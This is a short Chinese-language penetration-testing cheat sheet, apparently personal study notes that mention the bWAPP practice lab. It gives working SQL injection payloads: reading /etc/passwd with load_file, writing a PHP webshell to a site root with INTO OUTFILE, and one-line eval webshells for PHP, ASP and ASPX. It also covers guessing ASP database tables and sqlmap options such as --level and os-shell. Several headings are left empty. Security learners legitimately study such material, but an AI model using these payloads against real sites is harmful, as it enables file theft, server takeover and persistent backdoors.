1.sql写入webshell
读取任意文件,取bWAPP库的所有表名
1' union select 1,load_file('/etc/passwd')#
使用mysql outfile 写webshell
关键:(1)数据库开启权限;(2)站点根目录位置<phpinfo或网闸报错会泄露路径>;(3)站点根目录是否有写入权限
1' union select "<?php @eval($_POST['123']);?>",1 into outfile "站点根目录(将\变为\\或/)+写入的php文件名称"
开启权限命令:
一句话木马
php的一句话木马: <?php @eval($_POST['pass']);?>
asp的一句话是: <%eval request ("pass")%>
aspx的一句话是: <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>
2.asp数据库注入
asp报错特点:
asp数据库注入猜库名(全靠硬猜):
and exists(select*from 库名),正确返回正常页面,错误报错
asp猜表名id是否存在
and exists (select id from config)
asp猜标题是否存在
and exists (select title from config)
3.使用工具注入
(1)pangolin穿山甲
(2)sqlmap工具
level 注入级别 level<3 不测head值,渗透测试风险值越低越好
risk 风险级别 update insert
跳过sqlmap的询问使用参数--batch
sqlmap -u +"存在注入点的网址",其中-u只支持get请求,
post请求需要burp抓包后复制请求头,并保存在kali中,使用-r+burp抓包的文件 -p+注入参数(passwd/uname)
级别过低注不出,使用--level 3
查数据
sqlmap进行os-shell交互
phpstorm软件,可将代码进行重新排版(Ctrl+Alt+L)
sql注入一次便存在缓存,删除缓存方法:
复制URL中的sql注入语句去网页测试: